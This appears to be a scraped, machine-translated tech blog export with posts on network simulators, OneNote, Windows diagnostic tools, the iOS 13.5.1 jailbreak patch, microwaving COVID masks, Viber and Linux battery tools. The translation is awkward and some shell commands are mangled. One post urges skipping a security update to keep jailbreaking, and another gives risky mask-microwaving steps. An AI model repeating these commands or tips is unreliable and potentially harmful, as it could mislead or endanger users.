flexibility.\nSpecifically, NetSim Standard is a standard version of the NetSim emulator, providing virtually all features that can only be found on pro versions.The standard version of NetSim will accelerate the R\u0026amp;D network, which also includes the C source code and it will give you the ability to perform the following tasks:\nYou can design new technologies and protocols, and you can also evaluate changes to existing technologies. You can test and simulate network system models in real-world situations. You can optimize the performance of protocols and applications. You can study the impact of real devices as well as transmit traffic directly with the NetSim emulator.This emulator combines the real and virtual worlds to develop scenarios that we cannot achieve in a test environment. Here are the main reasons you should try using the standard NetSim version:\nThanks to the easy-to-use GUI (user interface), you just need to do a few simple things like drag and drop devices, applications and links.In short, you will see how well NetSim Standard's interface is optimized compared to open source emulators that you will have to write hundreds of lines of code just to create certain network scripts. The resulting dashboard will also provide attractive simulation performance reports, presented as tables and charts.While compared to open source tools, you will have to manually analyze and write code to extract performance results. The built-in graphs will have an expanded format, unlike open source tools that require you to write programs for graphs with external tools. This tool provides you with the latest technologies such as IOT, WSN, MANET, Cognitive Radio, 802.11 n / ac, TCP - BIC / CUBIC . Compared to open source tools, there are usually few new features. than. The standard NetSim version will also give you the ability to debug online and the ability to 'view' all variables.You can also run parallel animation for immediate visual feedback.While open source emulators will require you to code dozens of commands for debugging. This tool provides extensive interfaces to other utility software such as MATLAB®, SUMO and Wireshark. In addition to the standard version, NetSim has three more suitable versions for each user object as follows:\nNetSim Pro version - Perfect for commercial customers. NetSim Academic Version - Ideal for education and teaching. NetSim Emulator emulator - Allows users to connect NetSim emulator with real hardware and interact with applications directly.You can test the performance of real applications over virtual networks. See more about NetSim Standard here.\n5. Boson NetSim 11 for CCNA   \nBoson NetSim 11 network simulator for CCNA promises to be one of the most powerful and flexible Cisco network simulation software available for IT professionals looking for a CCNA certification.This tool can simulate the network traffic of a real network in a simulated network that users can design themselves.\nHere are the outstanding features of NetSim 11 for CCNA:\nThis tool can be thought of as a Network Designer with the ability to support 42 Routers and 7 Switches. You can have up to 200 devices on each network. This tool provides users with Virtual Packet Technology technology: Software-generated packages are then routed and routed through the simulation network. You will be able to use WAN slots with a variety of different network modules. This tool provides Telnet mode, allowing you to configure devices in the simulation topology using the Windows Telnet program. NetSim 11 gives CCNA the ability to classify test results automatically. It provides the ability to download and save your network configuration, as well as the ability to paste real router settings into devices. You can also configure your own ISDN and Frame Relay mapping. This tool gives users the benefit of connecting your devices over a simulated WAN without the need for expensive ISP equipment. NetSim 11 for CCNA has support for IPv6 addresses. You can buy Boson NetSim 11 for CCNA here.\n6. Cisco Virtual Internet Routing Lab Personal Edition (VIRL PE)   \nCisco Virtual Internet Routing Lab Personal Edition (VIRL PE) 20 Nodes is a powerful network simulation and virtualization platform that allows users to develop a number of high-precision models of existing or already existing systems. planned earlier.With this tool, groups and individuals operating in IT will also be able to design, build, visualize, troubleshoot and launch Cisco emulators and devices. third party in a virtual environment.They will then be able to create models and scripts in the 'what if' way of actual networks and even in the future.\nVirtual images included in VIRL PE will use the same Cisco IOS software code used in Routers and Switches compiled to run on the hypervisor.This will provide IT professionals and students with a tool to help them learn about networking and research certifying Cisco in a secure virtual environment.\nThis tool gives you the ability to perform the following tasks:\nYou can create models and motif scripts 'what happens if' for active networks and will be created in the future. The tool will automatically create separate profiles. You will be able to virtualize the protocol. You can use the Cisco IOS network operating system, with Routers and Switches. You can connect between the virtual environment and the physical environment. You can study Cisco certification. VIRL PE supports the following virtual images of Cisco:\nIOS and IOSvL2 NX-OSv and NX-OS 9000v IOS XRv and IOS XRv 9000 IOS XE (CSR1000v) ASAv VIRL PE is a product supported by a community of more than 5000 members, including Cisco community managers.The VIRL PE Frequently Asked Questions section will provide you with a large amount of valuable data about product features, requirements, technical information and ordering.\nYou can buy the Cisco Virtual Internet Routing Lab Personal Edition here.\n7. CCIE Lab Builder   \nA major challenge for candidates of CCIE R / S Lab is to embark on a giant link structure, similar to what they will face in real-world tests.A good choice for candidates to partially equip themselves with knowledge is to use CCIE Lab Builder and we will discuss the reasons now.\nCisco CCIE Lab Builder allows you to run R\u0026amp;S topologies in CCIE Routing and Switching virtual environment.Andbelow are the main advantages you should really consider when trying this tool:\nTopology runs on a virtual environment that is actually also used in CCIE Lab. You will not need to spend time testing, and this is a significant advantage over other tools.Sometimes during busy times, you might even have time to go to the lab, but with this tool, you can have access anytime you want. It is capable of configuring up to 20 nodes. With CCIE Lab Builder, competitive prices and the ability to build topologies are strong points compared to other competitors.Of course there will also be cheaper options to run your CCIE lab, using GNS3 or building your own lab using the CSR1000V Router.\nYou can read more about Cisco CCIE Lab Builder here\nWhich network simulators are the best for practicing CCNA, CCNP and CCIE? If you want to practice CCNA, CCNP and CCIE.Here are the most popular options you can consider:\nGNS3 (emulator) Packet Tracer (package emulator) VIRL Virtual Internet Routing Lab (network simulation platform) Boson Network Simulator Build your own laboratory (using real hardware) For CCNA level:   \nPacket Tracer is probably the best because it's free and very simple to install and use. GNS3 will be a better choice if you are not afraid to invest time learning how to install and use it. VIRL is also another great choice, but note that this tool is NOT free! Building your own lab will be the best option if you have no experience with network device hardware, and you can buy some used hardware components from shopping sites like ebay. such as. For CCNP level:   \nWhen you reach this level, you can decide which tool is more suitable for you.I personally find that GNS3 will be a reasonable choice.\nFor CCIE level:   \nOnce again, when you reach this level, you absolutely can decide for yourself which room model tool is right for you.At this level, for many people, building their own lab or using GNS3 are reasonable options.\nThe above are the leading network simulation software used by many network administrators.You should carefully analyze and choose for yourself a tool that best suits your needs and personal goals.In the field of research and network administration, it is very expensive to deploy a complete test model with multiple networked computers, multiple routers and data links to authenticate and verify a network protocol. or a specific network algorithm.That's why we should use network emulators.In addition to cost savings, they also save you time.Good luck!\nSee more:\nInstructions for configuring Cisco routers Cisco Lab - Configuring RIP ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdo7K1w86romadnaq5osDOq2Ssp5apxKK%2BxGadqKpdqbWmec2eq7CnoqB6orDMoqWiq6SnrrW70Q%3D%3D\n","link":"/post/the-best-network-emulator-software-for-the-network-administrator/","section":"post","tags":null,"title":"The best network emulator software for the Network Administrator"},{"body":"Are you tired of following all the tasks, plans and notes? Nobody can remember everything. That's why you have to record everything. Instead of using pen and paper, a note-taking application like OneNote will be more convenient and reliable.\nOneNote is great for tracking and organizing all information and is available on all devices. Microsoft currently offers two versions of OneNote:\nOneNote for Windows 10 (Microsoft Store application) OneNote 2016 (Microsoft Office application for desktop) Until now, OneNote 2016 is still stronger than OneNote for Windows 10, but it is also being phased out. The article will explain what will happen to OneNote 2016 and show you some great benefits when switching to OneNote for Windows 10.\nWhy should OneNote for Windows 10 be used? What happens to the OneNote 2016 desktop application? The way OneNote helps you organize things Why is OneNote for Windows 10 better than OneNote 2016? Share notes with any Windows 10 application Draw with fingers or mouse Solve and graph the mathematical equation Transform drawings into shapes Save site annotations in Microsoft Edge to OneNote Pin pages to the Start menu for quick access  Speak notes instead of typing them What happens to the OneNote 2016 desktop application? Do not panic! OneNote 2016 will not disappear immediately.\nSince Office 2019, OneNote 2016 is no longer installed by default. If you sign up for Office 365, you can still choose to install OneNote 2016. Besides, you can also download OneNote 2016 for free even if you don't sign up for Office 365.\nBut OneNote 2016 will no longer receive new features.\nInstead, Microsoft will update OneNote for Windows 10 (also known as OneNote) with the 'quintessence' inherited from OneNote 2016 with new features. For this reason, Microsoft encourages people to start using OneNote for Windows 10 to always update the latest version through Microsoft Store and take advantage of many great new features.\nIf you need some features of OneNote 2016 not yet added to OneNote for Windows 10, you can still use OneNote 2016. Microsoft will continue to provide support, bug fixes and security updates for OneNote 2016 through October. 2020 (main support part) and October 2025 (extended support).\nIf you have any questions about OneNote in Office 2019, see the list of frequently asked questions from Microsoft here.\nThe way OneNote helps you organize things   Imagine the structure of OneNote like a metal ring that can be opened, closed to hold perforated paper, you often use. You create a notebook with parts like labels on metal rings. Each section contains pages, like the papers you put between labels on that ring.\nEach page or note can contain different types of content such as imported text, tables, images, attachments, web links and even handwritten text and drawings.\nJust like when you write on a sheet of paper, you can insert content anywhere on a page in OneNote and move items to the desired location.\nIn terms of basic operations, OneNote for Windows 10 is similar to OneNote 2016. Some features in OneNote for Windows 10 will be slightly different from OneNote 2016, but you will easily understand how it works. them.\nWhy is OneNote for Windows 10 better than OneNote 2016? So why should you switch to OneNote for Windows 10? Microsoft continues to add new features to OneNote and move the features of OneNote 2016 to Windows 10 applications.\nHere are some great benefits you will get from switching to OneNote for Windows 10. And the benefits listed here are not all. You will find a list of features available only in OneNote for Windows 10 on the Microsoft Microsoft website and new features being added each month.\nShare notes with any Windows 10 application OneNote for Windows 10 lets you share notes with other Windows 10 apps like Mail, Skype and Twitter.\nOpen the note you want to share and click Share in the upper right corner of the OneNote window. Then, click Send a copy .\n  The Share dialog displays Windows 10 applications installed on the appropriate PC to share notes. If you don't see the app you want to share the note with, click the Get apps in Store option at the bottom of the dialog box. Microsoft Store shows you a list of available applications that you can use to share your notes.\nYou can also share your notes with everyone, by clicking on a person above the app list or clicking More people and selecting a person from the address book.\n  Draw with fingers or mouse You can draw or sketch notes with Surface Pen or finger if you have a touchscreen PC. Without a touch screen or Surface, you can still draw with the mouse.\nTo draw in a note, open the note you want to draw. Selected notes may contain other content such as text and images entered.\nOn the Draw tab , click on the type of pen you want to use, then select Draw with Mouse or Touch , then start drawing in notes with your finger or mouse.\n  Solve and graph the mathematical equation OneNote will even solve and draw and graph equations for you. You can type or write equations. To use the Math Assistant to solve the equation, click the Draw tab . Then, click on the type of pen you want to use and select Draw with Mouse or Touch .\nWith your finger, stylus or mouse, write the equation in the note.\n  Click on the lasso tool and drag the mouse around the equation. Lasso's start and end points will automatically connect, so the entire equation is selected, release the mouse button.\n  Click Math on the Draw tab .\n  \nTo convert the handwriting equation into typing, click Ink to Math on the Math panel .\n  \nChoose whether you want to solve a unknown in the equation or graph the equation from the first drop-down list.\n  You can also display steps to get a solution, using the second drop-down list.\n  Now you have a complete solution for the equation.\nTransform drawings into shapes Another interesting benefit of drawing tools in OneNote is the ability to draw shapes and automatically turn them into their respective shapes.\nClick the Draw tab and click on the type of pen you want to use.\nSelect Draw with Mouse or Touch , then click Ink to Shape . With your finger, stylus or mouse, draw a picture in the note.\nMake sure that the beginning and the end of the drawing are connected.\n  The drawing will automatically turn into the corresponding shape.\n  Save site annotations in Microsoft Edge to OneNote Microsoft Edge allows you to add annotations to web pages and save them to OneNote.\nTo add a caption to a page and save it in OneNote, open Edge and navigate to the website you want to annotate.\nClick Add Notes on the toolbar in the upper right corner of the window.\n  Choose whether you want to write on the web using Ballpoint pen, highlight text with Highlighter tool or add a note ( Add a Note ).\n  Write on the web page, highlight the text on the page or add notes by clicking on the page and entering the note in the box.\n  Click Save Web Note and make sure OneNote is selected in the drop-down control panel.\nChoose a recently used section to save web notes from the drop-down list of a recent section section or accept the default section. Then, click Save.\n  \nA notification will appear when the note is successfully saved to OneNote. Click View note to automatically open OneNote and view new notes.\nIf you have both PC versions of OneNote, OneNote 2016 may be an auto-open version. If that happens, you will have to change the default version of OneNote used in Windows.\n  This is the screenshot of the website and the new note added in the selected section.\n  Pin pages to the Start menu for quick access If there are some websites that need frequent access, you can pin them to the Start menu for quick and easy access.\nGo to the page you want to pin, right-click the page and select Pin Page to Start .\nThen, select Yes on the confirmation dialog.\n  This page is added as a box on the Start menu. Click this box to open a note in OneNote.\n  If you do not want the note to appear in the Start menu anymore, right-click the comment box and select Unpin from Start .\n  Speak notes instead of typing them Are you tired of typing all your notes? Let your hands rest and start saying the necessary notes to Cortana.\nTo say a note, open Cortana and click the microphone icon on the search box.\nSay what you want to add to the note. Cortana will convert what you say into text and display it. Click the converted text to open the note in OneNote.\nAgain, if you have both OneNote and PC versions, OneNote 2016 may be an auto-open version. For the OneNote application to be the default, you will have to change the default OneNote version used in Windows.\n  The Recent Notes list displays the notes by speaking at the top. Notebook and the section containing new notes are also displayed.\nYou may have to edit your notes depending on the level Cortana understands what you say.\n  OneNote for Windows 10 provides many benefits to improve productivity such as the ability to draw and solve equations in notes, convert handwriting into text, and speak notes instead of typing them.\nThere are also other useful OneNote features that you have never tried, such as converting handwritten text into typed text, Tell Me search features, navigating back and forth, opening multiple OneNote windows or creating. and hide subpages.\nTry OneNote for Windows 10 today and have fun experiences!\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKyfqK2cmXqqedKwoK2bmGKzs7vMZqannZ6kwaZ5kWlob2WkpHqwusSnpq2dXZu8s3nWoqWdp6eoenJ8\n","link":"/post/why-should-i-switch-from-onenote-2016-to-onenote-for-windows-10/","section":"post","tags":null,"title":"Why should I switch from OneNote 2016 to OneNote for Windows 10?"},{"body":"The Windows 10 operating system has an intuitive user interface and quickly becomes a popular operating system, but it's not as perfect as you think. As in other operating systems, there are times when you will face issues such as the blue screen of death, (BSoD) that often hangs the system, lag interface, etc. Most of these problems involve hardware and can lead to greater damage if not resolved.\nCurrently, many computer hardware diagnostic tools can fix problems immediately. This article will introduce 7 hardware fault diagnosis tools, applied to handle some of the most common errors present in different components of the system. So, instead of hiring a troubleshooting expert for you, you should try these tools first.\nMemory Diagnostic Tool   Also known as mdsched.exe, the Windows Memory Diagnostic Tool runs comprehensive tests of the computer's memory to find out any errors that might interfere with the normal operation of the system. This tool checks the memory for errors and displays the test results so you can fix the errors. This is one of the built-in diagnostic tools, so you don't need third-party tools. To run this tool, follow the steps below:\nStep 1 : Press the ' Win + R ' key to open the Run dialog box.\nStep 2 : Enter ' mdsched.exe ' and press Enter to run.\nStep 3 : Choose to restart the computer and check for problems or check the problem during the next computer reboot.\nIn both cases, the Memory Diagnostic Tool will run tests on the computer and will notify you of any memory errors (including RAM) that may cause a system error.\nJScreenFix   You notice some points on the screen, not because of dust or stains, very annoying death. Dead spots on the computer screen are a conspicuous color dot, which does not change when neighboring pixels (pixels) change. Such pixels are easy to see when the screen turns black. If the dead pixels are not the result of errors in the screen, JScreenFix can fix this problem. It works by highlighting the affected areas with hundreds of different colors every minute. This way, it only takes a few minutes to unmount the pixels.\nLink reference: http://www.jscreenfix.com/fix.html\nCrystalDiskInfo   Most modern computers have Solid State Drive (SSD) with their own advantages but can also suddenly stop working without giving any warning. But if you want to know if your SSD or hard drive is in good condition, CrystalDiskInfo is the tool you should care about. This tool performs a full analysis of the state of your data drives including USB, SSD and hard drives. It calculates the overall status and gives you detailed information on error rate, uptime, spin-up time and temperature. This program has a 'relative' named ' CrystalDiskMark ', which can also be used to evaluate the drive's read and write speed.\nIntel Processor Diagnostic Tool   Among all components in the computer, microprocessors are less likely to cause problems. However, they are not immortal and can also malfunction like other components, although it is often the result of a sudden increase in voltage or too high a temperature. Fortunately, the Intel Processor Diagnostic Tool can help you troubleshoot any problems caused by the processor. So how does it work? The tool performs various rigorous tests on the microprocessor, examines specific processing features, verifies the performance of the microprocessor and tests brand identity.\nThe tool then displays the test results. If any test results do not meet the performance standards, the tool will show unsuccessful test results and you will have to consider replacing the new processor. This tool can be downloaded from Intel's website (32 or 64 bit). However, be sure to download the appropriate version for your device.\nAngry IP Scanner   Angry IP Scanner is a fast and reliable network scanner for Windows, Mac and Linux. It may not help you troubleshoot your computer, but it can check if any 'uninvited' guests are using your Internet. That may be the cause of slow internet connection. You can use it to check the number of devices connected to your network as well as which IP addresses and ports are being used by different devices.\nFind all devices connected to your network on your phone easily Download link: http://angryip.org/download/#windows\nReliability Monitor   Reliability Monitor is a hidden 'gem' in Windows that Microsoft needs to emphasize its importance to users. This tool tracks your computer history. Any time your computer crashes, or only an application crashes or behaves abnormally in any way, that status will be recorded in this tool. It also tracks other events such as when Windows Updates load a new fix or when the new software is installed.\nThe blue line allows estimating the stability of the system over time on a scale of 1-10. To access it, go to Control panel , select System and Security\u0026gt; Security and maintenance\u0026gt; Maintenance\u0026gt; View reliability history . If your system has a lot of errors, this will be the best place to check and find solutions.\nWindows System Troubleshooter   There is no better place to look for solutions to the problems of a product that is righteous in the manufacturer's website. Microsoft is aware of errors and other problems that occur in their operating systems, and for that reason, it has created its own troubleshooting tool called Microsoft Fix It Solution Center . Unfortunately, this tool is not available for Windows 10. However, Windows 10 users can use the Windows System Troubleshooter instead. This tool has the ability to solve most problems in the system from audio problems to corrupted programs and other hardware issues.\nThe biggest advantage when using the Windows system troubleshooter is that it does not require additional software installation. To access the Windows system troubleshooters, simply go to the Control panel and in System and Security , select ' System and Security '. Here, you will find options available to troubleshoot.\nIt's not too serious if the computer hardware fails because there are a few tools that you can use to troubleshoot in the shortest possible time. Learning about these diagnostic tools can save you time and money to hire an expert. There are many diagnostic tools that you can use to troubleshoot the hardware that was introduced above (which is, of course, incomplete) and hopefully you will find these tools useful. You can re-mark these tools and use them if you encounter similar problems in the future.\nSee more:\nFix Windows 10 error with just one click with FixWin Summary of some ways to fix Windows 10 crash, BSOD error and restart error Instructions for fixing errors do not turn off Windows 10 computers and laptops 20 useful troubleshooting tools for Windows 10 ncG1vNJzZmismaXArq3KnmWcp51khG64xJqboqaXYrWivsOwmKudXZq%2Fs7vRZpuimZejvLS10marqKecqHqnu9FmrqKmlKTEtHmQaQ%3D%3D\n","link":"/post/7-leading-hardware-error-diagnosis-tools-for-windows-10/","section":"post","tags":null,"title":"7 leading hardware error diagnosis tools for Windows 10"},{"body":"Apple just released the iOS 13.5.1 update today, which according to the announcement, is an 'important and recommended security update for all users'.\nAlthough not described in detail about the new changes in this update, the Apple Software Updates Twitter account revealed that the iOS 13.5.1 update patched the security hole used by the Unc0ver jailbreak tool to jailbreak iOS 13.5.\n Apple's support site also says that the iOS 13.5.1 update is designed to prevent applications from executing custom code with the kernel. In other words, iOS 13.5.1 is designed to disable today's jailbreak tools.\nUnc0ver's jailbreal iOS 13.5 tool uses a zero-day security flaw, allowing system modification on any Apple device. However, after patching this security hole in iOS 13.5.1, this means the tool will no longer work.\nTherefore, if you still want to jailbreak your iPhone, do not update to the latest version of iOS 13.5.1. Or if you've missed the update, then Apple still allows users to downgrade to iOS 13.5, and with this version, you can still jailbreak normally using the tool of Unc0ver.\nJailbreak is still a big draw for iOS users, because it allows installing applications that are not available on the App Store or paid applications. However, jailbreaking means that serious security holes exist.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55kq52cmq60scNmoKirXWaAdn2MnaCsmZKhtq%2BzjK2fnmWlo7BxwsSrZKOZmaGvs7HApGStp5%2Bh\n","link":"/post/apple-released-ios-13-5-1-disabling-the-unc0ver-jailbreak-tool/","section":"post","tags":null,"title":"Apple released iOS 13.5.1, disabling the Unc0ver jailbreak tool"},{"body":"In addition to using disposable medical masks, people should use cloth masks, wash them immediately after each use, and save money and avoid buying fake medical masks. waste disposal into the environment. Recently, Dr. Doan Ngoc Hai, Director of Occupational Health and Environment, Ministry of Health has tested the solution of disinfecting masks with microwaves that the Institute is implementing to combat COVID-19.\nMaster said that for disinfection there are 4 methods: UV, ozone, heat, microwave. However, UV can only disinfect the face of the mask, if using ozone disinfection equipment, it is too cumbersome. Therefore, the microwave method is applied by the Master because it is more feasible.\nInstructions for sterilizing medical masks with a microwave Note, the instructions below you need to prepare properly and follow each step, do not arbitrarily change any information or instructions.\nPrepare:\nMicrowave is used for sterilizing masks, not for heating food, its capacity is 800W. Antiseptic solution or ion salt, physiological saline 0.9% Step 1:\nFirst use an antiseptic solution, or physiological saline spray, on the inner and outer surface of the mask to moisten the mask.\nStep 2:\nPut the mask in the microwave so that the face is sprayed with antiseptic solution facing up, put the microwave in microwave mode (without turning on the grill feature) at 800W and rotate for 1 minute .\nStep 3:\nAfter filming, wait a while for the mask to exothermic, then remove the mask by holding the handle. This way we can reuse the mask.\n  The above parameters have been carefully researched and evaluated by the Institute for facemasks after sterilization, so people do not arbitrarily change and need to follow exactly. Types of masks used for this method are cloth masks, medical masks of a disposable standard. Do not use with unknown types, special masks, as this may cause a fire when rotating in the microwave. Disinfect each mask to ensure safe disinfection. During the sterilization process, watch out for quick treatment when problems occur.\nCurrently, the Institute of Occupational Health and Environment has improved some types of microwave ovens, removed the power adjustment buttons, leaving only the time button as prescribed for use in some health facilities, public specialized facilities for antibacterial masks.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FyKednpukYrCwwsidaHJllaW2pbHMoppmqpWovaq%2BwK2mq2WdlsCsedaiq6FlkWK6qq%2FRqK6arpU%3D\n","link":"/post/disinfect-covid-19-epidemic-respirator-mask-with-a-microwave/","section":"post","tags":null,"title":"Disinfect COVID-19 epidemic respirator mask with a microwave"},{"body":"The wallpaper on Apple devices is now completely free.\nWhether we love or hate Apple, we all have to be frank with each other that their repositories are always impressive, and the good news is that users can now download these images for free.\nIn the past week on the Reddit forum, a generous user posted Apple's massive wallpaper stock, including not only the usual default photos, but also many other wallpapers that the company has provided. granted to users for many years.From familiar phone wallpapers that appear on early iPhone devices to wallpapers on Mac computers running OS9 and earlier.\n  \nThis will be a great gift for not only iFan who love nostalgia, but also forWindows and Androidusers.\nYou can download the wallpaper here.\nSee more:\nHow to change wallpaper on iPhone / iPad How to download an exclusive iPhone X animated wallpaper on other iPhones Create space on the Home iPhone screen without jailbreak Admire and download iOS 8's stunning wallpaper set ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdm7%2BmsYysq6ibm2LEorjLqZipnaKoerCyjJqnqaSVYrGmwsicnKw%3D\n","link":"/post/download-free-stock-wallpapers-of-apple-devices/","section":"post","tags":null,"title":"Download free stock wallpapers of Apple devices"},{"body":" Journey Facebook becomes the world's largest social network Look inside Facebook's ideal office in New York 17 interesting things about billionaire Mark Zuckerberg you may not know yet Facebook has just spent $ 35 million to lease 33 floors of high-end buildings at 181 Fremont, the highest tower west of the Mississippi River, the third highest in San Francisco after being completed in 2017. This will be The first ' outpost ' of the media giant in San Francisco.\nFacebook and Instagram - the company acquired by Facebook in 2012 will transfer all employees here during the end of the year.\nThis 70-storey high-rise building contains 67 luxury apartments and Penthouse apartments ( the apartment is located on the highest floor of a building ), the most expensive in San Francisco with an outdoor price of 42 million USD . It has \" appeared \" on the market in March this year but has not yet been sold.\nWe invite you to explore inside the luxury Penthouse apartment worth $ 42 million in Facebook's new office building !\n181 Fremont is the most luxurious building west of the Mississippi River in San Francisco.\n Photo source: Courtesy of 181 Fremont Residences\nThis 181 Fremont building was designed by famous architect Orlando Diaz-Azcuy and Heller Manus Architects with an estimated construction cost of up to 665 million USD.\n Photo source: Courtesy of 181 Fremont Residences\nThis 70-story building with an area of ​​up to 40,500 square meters can accommodate between 2,000 and 3,000 Facebook and Instagram employees.\n Photo source: Courtesy of 181 Fremont Residences\nPenthhouse apartment with a total area of ​​645 square meters has a price of up to 42 million USD ( this is the most expensive asking price in San Francisco ), according to Zillow.\n Photo source: Courtesy of 181 Fremont Residences\nThe door handles of this upscale penthouse apartment are made from brass made by Parisian craftsmen in their own style and mounted on Paldao wooden doors from Southeast Asia.\n Photo source: Courtesy of 181 Fremont Residences\nInside the living room of this apartment has a 3m high ceiling and is illuminated by the sun.\n Photo source: Courtesy of 181 Fremont Residences\nThe design style uses minimal colors to create a luxurious look for this luxury apartment.\n Photo source: Courtesy of 181 Fremont Residences\nThis high-end Penthouse apartment includes a Family room ( big room designed for families ), 2 dressing rooms, a corner of Nook ( nook breakfast corner ) and a large dining room. The kitchen is equipped with a refrigerator temperature below 0 degrees Celsius, two dishwashers, dual ovens and shelves made of Brazilian quartz plates with a thickness of 3cm. In addition, the dining room is designed extensively with a huge array of furniture.\n Photo source: Courtesy of 181 Fremont Residences\nWhen standing at eye level, the walls seemed to move slightly.\n Photo source: Courtesy of 181 Fremont Residences\nBathroom space is made of marble Calacatta Carrara, the team of workers spent the whole month in Italy to collect them.\n Photo source: Courtesy of 181 Fremont Residences\nBecause the apartment is located on the top floor of the 70-storey tower, users can both bath and watch the sky and clouds.\n Photo source: Courtesy of 181 Fremont Residences\nPenthhouse luxury apartment with 5 bedrooms and 6 bathrooms.\n Photo source: Courtesy of 181 Fremont Residences\nModel taken above Penthhouse 181 Fremont apartment.\n Photo source: Courtesy of 181 Fremont Residences\nThe 181 Fremont tower is described as a tower with \" magic engineering .\" An aluminum exterior frame twists around the building providing additional support.\n Photo source: Courtesy of 181 Fremont Residences\nAccording to experts, the 181 Fremont tower is designed with damping coupling, reducing damage in the event of an earthquake.\n Photo source: Courtesy of 181 Fremont Residences\nThe distant panorama of the high-rise apartment \" skyscraper \" 181 Fremont in San Francisco.\n Photo source: Courtesy of 181 Fremont Residences\nSee also: 9 common mistakes about technology need to stop immediately\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51ksrm8y6ipnmWknbJuuNSxrKuxXaWyr8DHqKysnV2WvaK%2B06acp6xdrLyzwMdma2tlnZ65rbXOp2Sipl2brqSxwaimpKtdo7K4ec6fnaKblWKvtrXLnaCnnw%3D%3D\n","link":"/post/explore-the-luxury-penthouse-apartment-worth-42-million-in-facebook-s-new-office-building/","section":"post","tags":null,"title":"Explore the luxury Penthouse apartment worth $ 42 million in Facebook's new office building"},{"body":"Just like Zalo, to register a Viber account, users will use the personal phone number they are using. People named in the contact list will know that you use Viber through the contact phone number. So what if the user wants to change the phone number on Viber?\nCurrently Viber has also allowed users to switch to a new phone number, sending notifications to people in the Viber directory that you have switched to a new phone number. Thus everyone will know the new phone number registered for your Viber account. The following article will guide you how to change phone numbers on Viber.\nInstructions for sending audio messages on Viber How to turn off Viber message preview on the phone Instructions to block Viber messages on the phone 1. How to change phone numbers on Viber Download Viber for PC Download Viber for Android Download Viber for iOS Step 1:\nYou access the Viber interface and click on the More item below. Then click on the Settings button (Settings).\n  Step 2:\nNext, click to select Account in the settings list. Here the user will see Change Phone Number .\n  Step 3:\nClick New phone number and will receive a notification that all contacts in the Viber list receive notifications that you change your new phone number. Click Continue .\n  Finally, the user enters a new phone number that he wants to change for Viber. The application will ask if you are sure to change this phone number, click Yes .\n  Step 4:\nWait for the confirmation code to be sent to the phone number and you just need to enter that code in the interface Verify your new number ( Verify your new phone number). When the change is completed, the user will receive a successful notification as shown below.\n  2. How to change new phone numbers and devices on Viber In case the user changes the phone number and changes to the new device, there will be a backup part of the data before entering the phone number.\nStep 1:\nYou also click on Change Phone Number but select New phone number and new device ( New phone number and new device ). Click Continue to continue.\n  Step 2:\nAt Viber Backup interface we will see a backup message. You need to turn on iCloud Driver on the device and then click the Done button in the top right corner.\n  Step 3:\nThe next will also enter the new phone number you want to change and we will also receive a verification code to confirm.\n  The ability to change phone numbers on Viber will not affect data such as friend contacts, messages on personal Viber accounts. Especially those in your Viber list will receive a notification that you have changed your Viber phone number.\nSee more:\nHow to save and send Viber messages to email Instructions to remove, remove members of the Viber chat group How to pin messages to chat groups on Viber I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYypn6imlWK7trnBnqmsZZ%2Bjere1wZ6p\n","link":"/post/how-to-change-phone-numbers-on-viber/","section":"post","tags":null,"title":"How to change phone numbers on Viber"},{"body":"Previously, battery management on laptops running Linux was quite complicated. For years, Linux has been \"famous\" for managing inefficient battery life. Partly because a large amount of work is done on Linux to serve servers. Partly because it can't guess the user configuration setting. Are you running Plasma on Gentoo and compiling software from scratch? So say goodbye to battery life.\nNo matter how you set up your laptop, the best way to use your computer without interruption due to battery drain is to monitor it. The more you understand the laptop battery, the more you control it.\nThere are some great options to track the battery usage of the laptop. This article will show you how to check laptop battery status on Linux.\nThe default laptop battery monitor   Each desktop environment comes with its own battery tracking applet. When installing Linux on a laptop, these applets are usually configured and displayed by default.\n  On a darker desktop environment, the applet is probably just an update measure to show the current battery level. On powerful desktop environments like GNOME, you will also receive notification updates when the battery is charging and when it is running low.\nThese default trackers are your first 'defensive' row. Stay tuned and make sure you're not in the danger zone.\nUse Battery Monitor tool When you want more control over battery status notifications, there is an additional program you can install to get more detailed control of battery usage notifications. Battery Monitor is not available on any distribution, but is easy to install and use.\nInstall Battery Monitor First, install the dependence\n sudo apt install build-essential python3 python3-gi libnotify-dev acpi  Then download the latest version.\n Downloads wget cd https://github.com/maateen/battery-monitor/archive/master.zip  Extract it and cd into the result folder.\n unzip master.zip cd battery-monitor-master  Finally, install the application.\n sudo make install  Setting You now have access to both Battery Monitor and its settings via the desktop environment.\n  The Settings window does not have many things and is not very complicated. It only allows you to specify the battery level to receive notifications. All of the numbers here are calculated as a percentage, you can set as many notifications as you want.\nNotification   As you can see, Battery Monitor sends notifications whenever you unplug the socket, in addition to the warning you have set.\n    It will also send notifications whenever your computer is charging and when fully charged.\nGNOME Power Statistics tool If you are running a GNOME desktop, you already have another good utility to monitor your energy usage and display it as a chart. The utility is GNOME Power Statistics. If you do not use GNOME, you can easily install it.\n sudo apt install gnome-power-manager    When you open GNOME Power Statistics, you will see a list of devices on the left side of the window, select your battery. Initially, you will see a range of battery information, some useful, but most of this information you don't need right now.\n  Click on the \" History \" tab, for information on how the computer handles batteries. First, set the required time length. If you have just installed the energy manager, you need to work for 10 minutes so that it has enough time to gather data.\nCheck out the different charts, you will see things like charging and discharging rates. In addition, you also receive information about battery life and the time required for a full charge.\nPowerTop tool It is good to know which program is using the most battery on your system. Some processes can kill your battery without your knowledge, maybe it's something you don't use.\n  Most Linux users are familiar with Top, the utility that tracks applications that use the most system resources. There is a utility like Top that monitors battery usage called PowerTop. PowerTop may already be installed on your system, but you can install it easily.\n sudo apt install powertop  Then, just run PowerTop to see which process is the worst 'offender'\n sudo powertop  Like Top, it lists processes according to the amount of energy used. You can see if there is anything you can close or kill on the system. If you don't want to see the PowerTop name, you can export the output to an HTML file and open it in the browser to see the report is compiled in more detail.\n sudo powertop --html = report.html  Hopefully with these tools, you can better understand battery usage on your laptop. Note, no tools are perfect, so using these tools together is the best. If you find that your computer is draining battery quickly, consider using a lighter desktop environment or setting other settings for the GPU. Like most mobile devices, monitors and graphics are the places that consume the most battery power on laptops.\nSee more:\nNo need to install any software, this is how to check your laptop battery level Simple tips to help you 